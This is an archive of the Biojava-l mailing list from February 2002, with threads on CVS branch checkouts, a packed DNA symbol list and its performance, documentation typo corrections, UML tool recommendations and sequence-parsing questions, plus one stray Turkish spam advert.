commands that are online at http://cvs.open-bio.org/. If things are
unclear then please give me your feedback so I can incorporate changes
that will help future users.
Branches can be accessed via use of the "-r" tag during your CVS
checkout operation. You'll have to get advice from the hardcore biojava
folks (or browse webcvs) to figure out the specific branch names you are
interested in (looks like there is a release tag called
"release-1_2-branch" that would work). You do not need to use "-r" to
get biojava-live as it will just default to the head branch.
Example use of revision tags with anonymous cvs:
$prompt> cvs :pserver:cvs@cvs.open-bio.org:/home/repository/biojava login
(when prompted your password will be 'cvs')
$prompt> cvs :pserver:cvs@cvs.open-bio.org:/home/repository/biojava
checkout -r "release-1_2-branch" biojava-live
You may also want to use the "-d" switch to put the checked out code
into a directory that reflects that you have checked out a branch rather
than the biojava-live head. A repeat of the above command with this
switch would be this:
$prompt> cvs :pserver:cvs@cvs.open-bio.org:/home/repository/biojava
checkout -r "release-1_2-branch" -d "./biojava-1.2" biojava-live
After you do the checkout operation you should be able to go into that
directory and just issue the "cvs update" command in the future.
If you are a biojava developer (with an account on the server) and you
want to maintain a writable version of the repository that you can
commit changes to then drop me or root-l@bioperl.org an email and we'll
help you get sorted offline.
Regards,
Chris
--
Chris Dagdigian, <dag@sonsorol.org>
Life Science IT & Research Computing Freelancer
Office: 617-666-6454, Mobile: 617-877-5498, Fax: 425-699-0193
PGP KeyID: 83D4310E Yahoo IM: craffi
From karen@phys.latech.edu Mon Feb 11 01:13:49 2002
From: karen@phys.latech.edu (Karen Petrosyan)
Date: Sun, 10 Feb 2002 19:13:49 -0600 (CST)
Subject: [Biojava-l] RNA secondary structure prediction
Message-ID: <Pine.LNX.4.33.0202101908060.18991-100000@alpha6.phys.latech.edu>
Hi biojava developers:
I'm wondering if biojava contains any RNA secondary
structure prediction. I'm looking for a Java class(es)
that would take a sequence as input and will then
output a secondary structure being able to predict
e.g. stem-loops.
I'll appreciate any info/comments.
Best regards,
Karen
From mmm@yahoo.com Mon Feb 11 03:27:22 2002
From: mmm@yahoo.com (Medyum)
Date: Mon, 11 Feb 2002 03:27:22
Subject: [Biojava-l] TE MERAK EDLEN BR KONU
Message-ID: <200202110125.g1B1OukO020837@pw600a.bioperl.org>
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<a href="http://www.medyumkarakaplan.com"><span style="font-family: Verdana; ">
http://www.medyumkarakaplan.com</span></a></p>
<p style="text-align: center; font-weight: bold; font-size: 14pt; color: #FF8040; font-family: 'Comic Sans MS'; ">MEDYUMLUK</p>
<p style="text-align: center; font-weight: bold; font-size: 14pt; color: #FF8040; font-family: 'Comic Sans MS'; ">BY
<span style="font-weight: normal; font-size: 18pt; font-family: Wingdings; ">i</span>
MUSKA</p>
<p style="text-align: center; font-weight: bold; font-size: 14pt; color: #FF8040; font-family: 'Comic Sans MS'; ">C<span style="font-family: 'Comic Sans MS'; ">i</span>N
ve C<span style="font-family: 'Comic Sans MS'; ">i</span>NLER ALEM<span style="font-family: 'Comic Sans MS'; ">i</span></p>
<p style="text-align: center; font-weight: bold; font-size: 14pt; color: #FF8040; font-family: 'Comic Sans MS'; ">H<span style="font-family: 'Comic Sans MS'; ">i</span>PNOT<span style="font-
family: 'Comic Sans MS'; ">i</span>ZMA
<span style="font-weight: normal; font-size: 18pt; font-family: Wingdings; ">i</span>
B<span style="font-family: 'Comic Sans MS'; ">i</span>O ENERJ<span style="font-family: 'Comic Sans MS'; ">i</span></p>
<p style="text-align: center; font-weight: bold; font-size: 14pt; color: #FF8040; font-family: 'Comic Sans MS'; ">RYA
TAB<span style="font-family: 'Comic Sans MS'; ">i</span>RLER<span style="font-family: 'Comic Sans MS'; ">i</span>
<span style="font-weight: normal; font-size: 18pt; font-family: Wingdings; ">i</span>
TELEPAT<span style="font-family: 'Comic Sans MS'; ">i</span></p>
<p style="text-align: center; font-weight: bold; font-size: 14pt; color: #FF8040; font-family: 'Comic Sans MS'; ">ASTROLOJ<span style="font-family: 'Comic Sans MS'; ">i</span>
<span style="font-weight: normal; font-size: 18pt; font-family: Wingdings; ">i</span>
BUR YORUMLARI</p>
<p style="text-align: center; font-weight: bold; font-size: 14pt; color: #FF8040; font-family: 'Comic Sans MS'; ">TM
G<span style="font-family: 'Comic Sans MS'; ">i</span>ZEML<span style="font-family: 'Comic Sans MS'; ">i</span>
VE ESRARENG<span style="font-family: 'Comic Sans MS'; ">i</span>Z
KONULAR</p>
<p style="text-align: center; font-weight: bold; font-size: 16pt; color: green; font-family: 'Lucida Console'; "> </p>
<p style="text-align: center; font-weight: bold; font-size: 14pt; color: navy; font-family: Verdana; ">Trkiyenin
nl Medyumlar<span style="font-family: Verdana; ">i</span>ndan</p>
<p style="text-align: center; font-size: 18pt; color: teal; font-family: 'Trebuchet MS'; ">MEDYUM
RECEP KAPLAN </p>
<p style="text-align: center; font-weight: bold; font-size: 14pt; color: navy; font-family: Verdana; ">Taraf<span style="font-family: Verdana; ">i</span>ndan
Haz<span style="font-family: Verdana; ">i</span>rlanan Trkiyenin
<span style="font-family: Verdana; ">i</span>lk Resmi Web Sitesi</p>
<p style="text-align: center; font-size: 26pt; color: red; font-family: Wingdings; ">
<br><a href="http://www.medyumkarakaplan.com"><span style="font-weight: bold; font-family: Verdana; ">
http://www.medyumkarakaplan.com</span></a></p>
<p style="text-align: center; font-weight: bold; font-size: 16pt; color: blue; "> </p>
<p style="text-align: center; font-weight: bold; font-size: 10pt; color: #0080C0; ">Bu
Maili <span style="font-family: 'Times New Roman'; ">i</span>zniniz
Olmadan Yollad<span style="font-family: 'Times New Roman'; ">igi</span>m<span style="font-family: 'Times New Roman'; ">i</span>z
<span style="font-family: 'Times New Roman'; ">i</span>in zr
Dileriz </p>
<p style="text-align: center; font-size: 30pt; color: blue; font-family: Wingdings; "> </p>
<p class="Normal" style="text-align: center; font-weight: bold; color: black; font-family: Verdana; ">Bu
Web Sitesinin Tan<span style="font-family: Verdana; ">i</span>t<span style="font-family: Verdana; ">i</span>m<span style="font-family: Verdana; ">i</span>
:<a href="http://www.alisveris.sehri.com">http://www.alisveris.sehri.com</a><span style="font-family: Verdana; ">
</span>Taraf<span style="font-family: Verdana; ">i</span>ndan </p>
<p class="Normal" style="text-align: center; font-weight: bold; color: black; font-family: Verdana; ">Medyum
Recep KAPLAN Hocam<span style="font-family: Verdana; ">i</span>za
cretsiz Olarak..yap<span style="font-family: Verdana; ">i</span>lmaktad<span style="font-family: Verdana; ">i</span>r</p>
<p class="Normal" style="text-align: center; font-weight: bold; color: black; font-family: Verdana; ">Bu
mail 400.000 Trk 350.000.000 world internet kullan<span style="font-family: Verdana; ">i</span>c<span style="font-family: Verdana; ">i</span>s<span style="font-family: Verdana;
">i</span>na
gnderilmi<span style="font-family: Verdana; ">s</span>tir </p>
</body>
</html>
From smh1008@cus.cam.ac.uk Mon Feb 11 09:53:47 2002
From: smh1008@cus.cam.ac.uk (David Huen)
Date: Mon, 11 Feb 2002 09:53:47 +0000 (GMT)
Subject: [Biojava-l] More spelling in Documentation
In-Reply-To: <sc66740a.013@gpo>
Message-ID: <Pine.SOL.3.96.1020211094100.3077A-100000@libra.cus.cam.ac.uk>
On Sun, 10 Feb 2002, Tony Watkins wrote:
All done except for:-
>
> Class TabelIndexStore
assume TabIndexStore intended here.
>
> Class SwissProtFileFormer
> (Original)
>
> Simple filter which handles attribute lines from an Swissprot entry
>
can't find this line
> Description
>
> (Original)
>
> If the Alphabet can guarantee that there are only ever a finite number of Symbols contained with in it, then it must implement FiniteAlphabet
>
> (Suggested correction)
>
> ... a finite number of Symbols contained *within* it, then it ...
>
>
Can't find this.
Regards,
David Huen
From matthew_pocock@yahoo.co.uk Mon Feb 11 10:46:11 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Mon, 11 Feb 2002 10:46:11 +0000
Subject: [Biojava-l] CVS biojava-live and 1.2
References: <AF026AF0FF4B054590228FD1F1DE51650F41F0@inbox.agresearch.co.nz>
Message-ID: <3C67A0F3.70608@yahoo.co.uk>
Schreiber, Mark wrote:
> Hi -
>
> For the less CVS literate amongst us (or just me) how can I set up CVS
> to capture the 1.2 branch and the biojava-live branch (and any other
> branch for that matter).
>
> Actually could someone summarise what brances there are and what each
> one could be used for?
Hi Mark,
CVS allows the source-code to be forked, or branched so that multiple
independant versions of a single file can be maintained. This is
probably a bad thing in most cases, but comes in realy handy for making
and maintaining releases. The development tree is forked at the point we
want to build a release. Then, the trunk can be modified (files
added/removed, bugs fixed), and the release branch can be maintained
(bugs fixed). The main 'branch' is called the trunk, and the most recent
files on the trunk are the HEAD. (can a CVS guru correct me if I am
talking rubbish?). The most recent files on a branch can be checked out
using the branch tag. We usualy tag the branches for each binary
release, so if you want to jump to *exactly* those files that went into
a particlular release, you can check out the repository using that tag.
Here's a diagram (almost certainly wrong).
The beginning -> -> -> -> -> -> -> -> the future
-root-------1.1 devel----1.2 devel---1.3 devel---
\ \
1.1 release 1.2 release
\ \
1.1 rc1 1.2 rc1
\
1.1 rc2
\
1.1.0
\
1.1.1
Matthew
From David Huen <smh1008@cus.cam.ac.uk> Mon Feb 11 12:09:02 2002
From: David Huen <smh1008@cus.cam.ac.uk> (David Huen)
Date: Mon, 11 Feb 2002 12:09:02 +0000 (GMT)
Subject: [Biojava-l] Packed DNA Symbol List
Message-ID: <Pine.SOL.3.96.1020211114637.3077C-100000@libra.cus.cam.ac.uk>
I've written a packed version of a DNA symbol list (4 bits per symbol, 8
times cheaper than the current). Surprisingly, the performance seems OK -
I expected it to be abysmal. Its constructor can take and return data in
a byte array so data can be serialised from/to a database.
The drawback is that it uses its own AlphabetIndex because I could not
make the ones in the package take ambiguity tokens for whatever reason.
Most likely I am missing some thing here. My main concern is that if I
were to use this class in a persistent implementation and the Alphabet
Index for this class needed to be changed later, it would scramble
these objects so the necessity to get it right now.
Any suggestions as to solutions before I consider committing it to
development trunk?
Regards,
David Huen
From matthew_pocock@yahoo.co.uk Mon Feb 11 12:32:14 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Mon, 11 Feb 2002 12:32:14 +0000
Subject: [Biojava-l] Packed DNA Symbol List
References: <Pine.SOL.3.96.1020211114637.3077C-100000@libra.cus.cam.ac.uk>
Message-ID: <3C67B9CE.8010404@yahoo.co.uk>
Cool David! Have you got any stats about the relative performance of
the raw and packed implementations? The issue with AlphabetIndex and
ambiguities is my fault. I wrote the imlementations not to index
ambiguities. What do you use an indexer for? I'm happy for you to commit
away. Thomas? Others?
David Huen wrote:
> I've written a packed version of a DNA symbol list (4 bits per symbol, 8
> times cheaper than the current). Surprisingly, the performance seems OK -
> I expected it to be abysmal. Its constructor can take and return data in
> a byte array so data can be serialised from/to a database.
>
> The drawback is that it uses its own AlphabetIndex because I could not
> make the ones in the package take ambiguity tokens for whatever reason.
> Most likely I am missing some thing here. My main concern is that if I
> were to use this class in a persistent implementation and the Alphabet
> Index for this class needed to be changed later, it would scramble
> these objects so the necessity to get it right now.
>
> Any suggestions as to solutions before I consider committing it to
> development trunk?
>
> Regards,
> David Huen
>
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
>
>
From matthew_pocock@yahoo.co.uk Mon Feb 11 12:36:30 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Mon, 11 Feb 2002 12:36:30 +0000
Subject: [Biojava-l] constrained annotations
Message-ID: <3C67BACE.5050206@yahoo.co.uk>
Hi all,
I've checked in to org.biojava.bio the AnnotationType and
PropertyConstraint classes. These allow you to validate an annotation
against a 'template' to ensure that it has apropreate propery/value pairs.
Please, take this for a spin. You may find it fun! This is just a first
draft, so if you don't like the API, then please tell us.
Matthew
From smh1008@cus.cam.ac.uk Mon Feb 11 14:13:52 2002
From: smh1008@cus.cam.ac.uk (David Huen)
Date: Mon, 11 Feb 2002 14:13:52 +0000 (GMT)
Subject: [Biojava-l] Packed DNA Symbol List
In-Reply-To: <3C67B9CE.8010404@yahoo.co.uk>
Message-ID: <Pine.SOL.3.96.1020211133004.21390A-100000@libra.cus.cam.ac.uk>
On Mon, 11 Feb 2002, Matthew Pocock wrote:
> Cool David! Have you got any stats about the relative performance of
> the raw and packed implementations? The issue with AlphabetIndex and
> ambiguities is my fault. I wrote the imlementations not to index
> ambiguities. What do you use an indexer for? I'm happy for you to commit
> away. Thomas? Others?
>
I'm using the indexer to convert symbols into 4-bit values that form the
array.
Length 200000 symbols. Athlon MP (real 1200 MHz, whatever the BogoHertz
are).
For converting a SimpleSymbolList via constructor into:-
SimpleSymbolList 79 ms.
PackedDNASymbolList 29 ms. (why is this faster than the above????)
For reading thru' 200000 symbols sequentially,
SimpleSymbolList 4 ms.
PackedDNASymbolList 15 ms. (this is more expected but I expected it to
be even worse than this!).
I have tried reorganising the alphabet index to make the common symbols
come first but that seems to have a negligible impact on on performance
compared to having a bit-to-base mapping. I'm a bit surprised by this - I
suppose it just means that symbol lookup is not a major factor. OTOH,
computing the element of the array to look up is major as replacing a
division and a modulo with two bit ops doubled the performance.
There would be better performance if I could use an entity bigger than a
byte but JDBCs seem to like byte arrays and I'd like to be able to
export/import the associated byte arrays to databases readily.
Regards,
David Huen
From David Huen <smh1008@cus.cam.ac.uk> Mon Feb 11 17:39:50 2002
From: David Huen <smh1008@cus.cam.ac.uk> (David Huen)
Date: Mon, 11 Feb 2002 17:39:50 +0000 (GMT)
Subject: [Biojava-l] Anyone used GentleWare's Poseidon UML_CASE tool?
Message-ID: <Pine.SOL.3.96.1020211120906.3077D-100000@libra.cus.cam.ac.uk>
The software I am attempting to write is now getting beyond the stage
where I can conveniently keep all key aspects in (my) memory and I am
looking for affordable development tools to assist me in doing this.
I've considered using UML but cheap tools capable of the full round-trip
to/from Java seem difficult to find - I can't afford Rational Rose stuff.
I came across the above product from Germany the price of which seems
tolerable. Has anyone tried it and does it work acceptably? Regrettably
ArgoUML can't do the roundtrip yet.
Are there approaches rather than UML I ought to be considering instead?
Bear in mind that as my biojava efforts are self-funded, the costs have to
be kept low.
Thanks,
David Huen
From mark.schreiber@agresearch.co.nz Mon Feb 11 20:09:23 2002
From: mark.schreiber@agresearch.co.nz (Schreiber, Mark)
Date: Tue, 12 Feb 2002 09:09:23 +1300
Subject: [Biojava-l] Packed DNA Symbol List
Message-ID: <AF026AF0FF4B054590228FD1F1DE51650F41FF@inbox.agresearch.co.nz>
Hi -
I am looking into Serialization issues at the moment and for many
distributions the AlphabetIndex must be marked as transient since it
cannot be guarenteed to be rebuilt in an identicle fashion on all JVMs.
I'm not sure how it would affect your class but it may be an idea to
include writeObject() and readObject() methods to prevent nasty
behaivour.
Mark
-----Original Message-----
From: Matthew Pocock [mailto:matthew_pocock@yahoo.co.uk]
Sent: Tuesday, 12 February 2002 1:32 a.m.
To: David Huen
Cc: biojava-l@biojava.org
Subject: Re: [Biojava-l] Packed DNA Symbol List
Cool David! Have you got any stats about the relative performance of
the raw and packed implementations? The issue with AlphabetIndex and
ambiguities is my fault. I wrote the imlementations not to index
ambiguities. What do you use an indexer for? I'm happy for you to commit
away. Thomas? Others?
David Huen wrote:
> I've written a packed version of a DNA symbol list (4 bits per symbol,
> 8
> times cheaper than the current). Surprisingly, the performance seems
OK -
> I expected it to be abysmal. Its constructor can take and return data
in
> a byte array so data can be serialised from/to a database.
>
> The drawback is that it uses its own AlphabetIndex because I could not
> make the ones in the package take ambiguity tokens for whatever
reason.
> Most likely I am missing some thing here. My main concern is that if
I
> were to use this class in a persistent implementation and the Alphabet
> Index for this class needed to be changed later, it would scramble
> these objects so the necessity to get it right now.
>
> Any suggestions as to solutions before I consider committing it to
> development trunk?
>
> Regards,
> David Huen
>
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
>
>
_______________________________________________
Biojava-l mailing list - Biojava-l@biojava.org
http://biojava.org/mailman/listinfo/biojava-l
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From willy.valdivia@ndsu.nodak.edu Tue Feb 12 20:35:13 2002
From: willy.valdivia@ndsu.nodak.edu (Willy Valdivia Granda)
Date: Tue, 12 Feb 2002 14:35:13 -0600
Subject: [Biojava-l] integrating BLAST C code with JAVA
In-Reply-To: <4C53A11A9475D511826600034725155311F10D@sjmemexc1.stjude.org>
Message-ID: <AJEGLGKNDNHFFJLPNEIOMEEBCAAA.willy.valdivia@ndsu.nodak.edu>
Hello everyone
We are trying to implement a Java application that runs the different tools
including the BLAST program in a graphical interface. However would like to
know if there is code in JAVA that will run BLAST.
Willy Valdivia and Md Sarker
Plant Abiotic Stress and Bioinformatics Group
North Dakota State University
From hilmarl@yahoo.com Tue Feb 12 07:40:13 2002
From: hilmarl@yahoo.com (Hilmar Lapp)
Date: Mon, 11 Feb 2002 23:40:13 -0800
Subject: [Biojava-l] Anyone used GentleWare's Poseidon UML_CASE tool?
References: <Pine.SOL.3.96.1020211120906.3077D-100000@libra.cus.cam.ac.uk>
Message-ID: <3C68C6DD.B440CC5A@yahoo.com>
David Huen wrote:
>
> The software I am attempting to write is now getting beyond the stage
> where I can conveniently keep all key aspects in (my) memory and I am
> looking for affordable development tools to assist me in doing this.
>
> I've considered using UML but cheap tools capable of the full round-trip
> to/from Java seem difficult to find - I can't afford Rational Rose stuff.
> I came across the above product from Germany the price of which seems
> tolerable. Has anyone tried it and does it work acceptably? Regrettably
> ArgoUML can't do the roundtrip yet.
>
ArgoUML in fact is dysfunctional in several aspects,
reverse-engineering
Java being one of them. I've used PoseidonUML and found it working
for everything I tried. Actually, there is a Community-Edition,
too,
which is free of charge (not Open Source though).
-hilmar
--
-----------------------------------------------------------------
Hilmar Lapp email: hilmarl@yahoo.com
San Diego, Ca. 92130 phone: +1 858 812 1757
-----------------------------------------------------------------
_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com
From tony_watkins@ntlworld.com Tue Feb 12 09:01:54 2002
From: tony_watkins@ntlworld.com (Tony Watkins)
Date: Tue, 12 Feb 2002 09:01:54 +0000
Subject: [Biojava-l] Documentation Hyperlink error
Message-ID: <5.1.0.14.0.20020212085909.00a0d840@pop.ntlworld.com>
Within the design overview, the style guide link appears to be corrupt.
(Click design ethos, then style guide). The link points to
http://www.biodas.org/>DAS</a>%20client</li>%20%20%20%20%20%20%20%20%20%20%20%20%
etc.
Hope this helps.
From tony_watkins@ntlworld.com Tue Feb 12 09:50:39 2002
From: tony_watkins@ntlworld.com (Tony Watkins)
Date: Tue, 12 Feb 2002 09:50:39 +0000
Subject: [Biojava-l] More documentation typos
Message-ID: <5.1.0.14.0.20020212091210.00a0e120@pop.ntlworld.com>
--=====================_3853370==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed
Package org.biojava.bio.gui
Description
(original)
...This maintains consistent API even when the user sees very different
images.
(suggested correction)
This maintains *a* consistent API even when the user sees very different
images.
Interface LogoPainter
(original)
... It is given the StateLog to render, so that a single LogoPainter can be
shaired among many state logos.
(suggested correction)
It is given the StateLog to render, so that a single LogoPainter can be
*shared* among many state logos.
Interface SymbolStyle
(original)
Given a symbol, this allows you to get the color to outline or fill the
glyphs for rendering the symbol. This may be something as simple as
coloring dots on a scatter-plot, or labeling a key, or it may be as
complicated as sequence logos.
(Suggested UK correction, please ignore if not appropriate)
Given a symbol, this allows you to get the *colour* to outline or fill the
glyphs for rendering the symbol. This may be something as simple as
*colouring* dots on a scatter-plot, or labeling a key, or it may be as
complicated as sequence logos.
Class DistributionLogo
(original)
The gui component for rendering a DistributionLogo. By default, this uses
the text logo style - with letters stacked on top of one another, scaled by
the total information in the dist, and uses a PlainStyle colorer that
outlines in black, and fills in grey
(suggested correction)
The *GUI* component for rendering a DistributionLogo. By default, this uses
the text logo style - with letters stacked on top of one another, scaled by
the total information in the *distribution*, and uses a PlainStyle
*colourer* that outlines in black, and fills in grey
Package org.biojava.bio.gui.sequence
Interface SequenceRenderContext
A context within sequence which information may be rendered.
(I have no clue what this actually means but it doesn't appear to read
correctly in terms of grammar. Does the following suggestion make any sense?)
*A context within a sequence for which information may be rendered.*
Class AbstractBeadRenderer
(original)
AbstractBeadRenderer is a an abstract base class for the creation of
FeatureRenderers which use a 'string of beads' metaphor for displaying features
(suggested correction)
AbstractBeadRenderer is *an* abstract base class for the creation of
FeatureRenderers which use a 'string of beads' metaphor for displaying features
Class CrosshairRenderer
(original)
... The crosshair it set to a sequence position by a click and then stays
there through scrolls/rescales until the next click.
(suggested correction)
...The crosshair *is* set to a sequence position by a click ...
Class OverlayRendererWrapper
(original)
This class wraps SequenceRenderer classes to present an an Overlay Marker
interface that will indicate to LayeredRenderer that subsequent renderers
should overdraw the same space as the wrapped renderer.
(suggested correction)
This class wraps SequenceRenderer classes to present *an* Overlay Marker
interface that will indicate to LayeredRenderer that subsequent renderers
should overdraw the same space as the wrapped renderer.
Class PairwiseFilteringRenderer
(original)
... The renderer recieves a new PairwiseRenderContext which has had both of
its FeatureHolders filtered with the FeatureFilter.
(suggested correction)
The renderer *receives* a new PairwiseRenderContext which has had both of
its FeatureHolders filtered with the FeatureFilter.
Class PairwiseSequencePanel
(original)
... This could be anything from traditional dotplots (or variants created
with lines) to more complex layered plot involving superimposed renderers.
(suggested corrections)
either
This could be anything from traditional dotplots (or variants created with
lines) to more complex layered *plots* involving superimposed renderers.
or
This could be anything from traditional dotplots (or variants created with
lines) to *a* more complex layered plot involving superimposed renderers.
That's all for now folks.
Have a better one....
--=====================_3853370==_.ALT
Content-Type: text/html; charset="us-ascii"
<html>
Package org.biojava.bio.gui <br><br>
Description<br><br>
(original)<br>
...This maintains consistent API even when the user sees very different
images. <br><br>
(suggested correction)<br>
This maintains *a* consistent API even when the user sees very different
images. <br><br>
Interface LogoPainter<br><br>
(original)<br>
... It is given the StateLog to render, so that a single LogoPainter can
be shaired among many state logos. <br><br>
(suggested correction)<br>
It is given the StateLog to render, so that a single LogoPainter can be
*shared* among many state logos. <br><br>
Interface SymbolStyle<br><br>
(original)<br>
Given a symbol, this allows you to get the color to outline or fill the
glyphs for rendering the symbol. This may be something as simple as
coloring dots on a scatter-plot, or labeling a key, or it may be as
complicated as sequence logos. <br><br>
(Suggested UK correction, please ignore if not appropriate)<br><br>
Given a symbol, this allows you to get the *colour* to outline or fill
the glyphs for rendering the symbol. This may be something as simple as
*colouring* dots on a scatter-plot, or labeling a key, or it may be as
complicated as sequence logos.<br><br>
Class DistributionLogo<br><br>
(original)<br>
The gui component for rendering a DistributionLogo. By default, this uses
the text logo style - with letters stacked on top of one another, scaled
by the total information in the dist, and uses a PlainStyle colorer that
outlines in black, and fills in grey<br><br>
(suggested correction)<br>
The *GUI* component for rendering a DistributionLogo. By default, this
uses the text logo style - with letters stacked on top of one another,
scaled by the total information in the *distribution*, and uses a
PlainStyle *colourer* that outlines in black, and fills in grey<br><br>
Package org.biojava.bio.gui.sequence<br><br>
Interface SequenceRenderContext<br><br>
A context within sequence which information may be rendered.<br><br>
(I have no clue what this actually means but it doesn't appear to read
correctly in terms of grammar. Does the following suggestion make
any sense?)<br><br>
*A context within a sequence for which information may be
rendered.*<br><br>
Class AbstractBeadRenderer<br><br>
(original)<br>
AbstractBeadRenderer is a an abstract base class for the creation of
FeatureRenderers which use a 'string of beads' metaphor for displaying
features<br><br>
(suggested correction)<br>
AbstractBeadRenderer is *an* abstract base class for the creation of
FeatureRenderers which use a 'string of beads' metaphor for displaying
features<br><br>
Class CrosshairRenderer<br><br>
(original)<br>
... The crosshair it set to a sequence position by a click and then stays
there through scrolls/rescales until the next click. <br><br>
(suggested correction)<br><br>
...The crosshair *is* set to a sequence position by a click ...<br><br>
Class OverlayRendererWrapper<br><br>
(original)<br>
This class wraps SequenceRenderer classes to present an an Overlay Marker
interface that will indicate to LayeredRenderer that subsequent renderers
should overdraw the same space as the wrapped renderer.<br><br>
(suggested correction)<br>
This class wraps SequenceRenderer classes to present *an* Overlay Marker
interface that will indicate to LayeredRenderer that subsequent renderers
should overdraw the same space as the wrapped renderer.<br><br>
Class PairwiseFilteringRenderer<br><br>
(original)<br>
... The renderer recieves a new PairwiseRenderContext which has had both
of its FeatureHolders filtered with the FeatureFilter.<br><br>
(suggested correction)<br><br>
The renderer *receives* a new PairwiseRenderContext which has had both of
its FeatureHolders filtered with the FeatureFilter.<br><br>
Class PairwiseSequencePanel<br><br>
(original)<br>
... This could be anything from traditional dotplots (or variants created
with lines) to more complex layered plot involving superimposed
renderers.<br><br>
(suggested corrections)<br><br>
either <br>
This could be anything from traditional dotplots (or variants created
with lines) to more complex layered *plots* involving superimposed
renderers.<br><br>
or<br>
This could be anything from traditional dotplots (or variants created
with lines) to *a* more complex layered plot involving superimposed
renderers.<br><br>
That's all for now folks.<br><br>
Have a better one....</html>
--=====================_3853370==_.ALT--
From simon.brocklehurst@CambridgeAntibody.com Tue Feb 12 10:47:21 2002
From: simon.brocklehurst@CambridgeAntibody.com (Simon Brocklehurst)
Date: Tue, 12 Feb 2002 10:47:21 +0000
Subject: [Biojava-l] Anyone used GentleWare's Poseidon UML_CASE tool?
References: <Pine.SOL.3.96.1020211120906.3077D-100000@libra.cus.cam.ac.uk>
Message-ID: <3C68F2B9.33FE5CEB@CambridgeAntibody.com>
David Huen wrote:
> The software I am attempting to write is now getting beyond the stage
> where I can conveniently keep all key aspects in (my) memory and I am
> looking for affordable development tools to assist me in doing this.
>
> I've considered using UML but cheap tools capable of the full round-trip
> to/from Java seem difficult to find - I can't afford Rational Rose stuff.
> I came across the above product from Germany the price of which seems
> tolerable. Has anyone tried it and does it work acceptably? Regrettably
> ArgoUML can't do the roundtrip yet.
David,
Have you looked at the community edition of Together Control Center? There's
a download at:
http://www.togethercommunity.com/tcccommunityedition.jsp
I haven't looked at the community edition at all, but we use Together Control
Center under a commercial license (expensive!), and it works quite well. It's
not perfect, but then there aren't any UML CASE tools that are.
It's 100% Java, and requires a decent amount of RAM to run nicely.
Simon
--
Simon M. Brocklehurst, Ph.D.
Head of Bioinformatics & Advanced IS
Cambridge Antibody Technology
The Science Park, Melbourn, Cambridgeshire, UK
http://www.CambridgeAntibody.com/
mailto:simon.brocklehurst@CambridgeAntibody.com
From kdj@sanger.ac.uk Tue Feb 12 10:30:00 2002
From: kdj@sanger.ac.uk (Keith James)
Date: 12 Feb 2002 10:30:00 +0000
Subject: [Biojava-l] More documentation typos
In-Reply-To: <5.1.0.14.0.20020212091210.00a0e120@pop.ntlworld.com>
References: <5.1.0.14.0.20020212091210.00a0e120@pop.ntlworld.com>
Message-ID: <sc4d6zbm1qv.fsf@fes1.sanger.ac.uk>
>>>>> "Tony" == Tony Watkins <tony_watkins@ntlworld.com> writes:
[...] many typos
Tony> That's all for now folks.
ta,
Fixed on head and 1.2 release branch.
--
-= Keith James - kdj@sanger.ac.uk - http://www.sanger.ac.uk/Users/kdj =-
Pathogen Sequencing Unit, Wellcome Trust Sanger Institute, Cambridge, UK
From philippe.gouret@libertysurf.fr Tue Feb 12 19:41:35 2002
From: philippe.gouret@libertysurf.fr (gouret)
Date: Tue, 12 Feb 2002 14:41:35 -0500
Subject: [Biojava-l] genscan
Message-ID: <3C696FEF.C2C0EC1C@libertysurf.fr>
Hi
Is it possible to parse Genscan (c. burge) output with your library ?
If it is not, can you give me a solution to convert this output in GFF
format ?
thanks by advance
Philippe Gouret
INSERM - U119
Marseille - France
From j.holdstock@oxagen.co.uk Tue Feb 12 16:49:08 2002
From: j.holdstock@oxagen.co.uk (Jolyon Holdstock)
Date: Tue, 12 Feb 2002 16:49:08 -0000
Subject: [Biojava-l] SequencePanel/Poster
Message-ID: <E0143A5FB74ED31193320090279337D7FA836A@dougal.oxagen.co.uk>
Hi,
Should SequencePoster still be in the API (at biojava.org) as SequencePanel
seems identical?
Cheers,
Jolyon
From howard_ungar@yahoo.com Tue Feb 12 17:22:39 2002
From: howard_ungar@yahoo.com (Howard Ungar)
Date: Tue, 12 Feb 2002 09:22:39 -0800 (PST)
Subject: [Biojava-l] Anyone used GentleWare's Poseidon UML_CASE tool?
In-Reply-To: <3C68F2B9.33FE5CEB@CambridgeAntibody.com>
Message-ID: <20020212172239.67961.qmail@web10304.mail.yahoo.com>
The Together Community Edition only does Class diagrams. If you want
interaction diagrams, and the rest of the UML digrams, you'll have to
buy the license. We're evaluating Together Control Center and so far
have been extremely happy with it. The round-trip java is immediate
and seamless.
One very nice feature is the ability to apply UML design patterns to
new or existing classes. The community addition does not include this
feature either. But the price (free) is right. You can get the
community license at
http://www.togethercommunity.com/tcccommunityedition.jsp
Go to www.togethersoft.com to download Together Control Center 5.5 and
then put the license file into the /bin directory.
--- Simon Brocklehurst <simon.brocklehurst@cambridgeantibody.com>
wrote:
>
>
> David Huen wrote:
>
> > The software I am attempting to write is now getting beyond the
> stage
> > where I can conveniently keep all key aspects in (my) memory and I
> am
> > looking for affordable development tools to assist me in doing
> this.
> >
> > I've considered using UML but cheap tools capable of the full
> round-trip
> > to/from Java seem difficult to find - I can't afford Rational Rose
> stuff.
> > I came across the above product from Germany the price of which
> seems
> > tolerable. Has anyone tried it and does it work acceptably?
> Regrettably
> > ArgoUML can't do the roundtrip yet.
>
> David,
>
> Have you looked at the community edition of Together Control Center?
> There's
> a download at:
>
> http://www.togethercommunity.com/tcccommunityedition.jsp
>
> I haven't looked at the community edition at all, but we use Together
> Control
> Center under a commercial license (expensive!), and it works quite
> well. It's
> not perfect, but then there aren't any UML CASE tools that are.
>
> It's 100% Java, and requires a decent amount of RAM to run nicely.
>
> Simon
> --
> Simon M. Brocklehurst, Ph.D.
> Head of Bioinformatics & Advanced IS
> Cambridge Antibody Technology
> The Science Park, Melbourn, Cambridgeshire, UK
> http://www.CambridgeAntibody.com/
> mailto:simon.brocklehurst@CambridgeAntibody.com
>
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
__________________________________________________
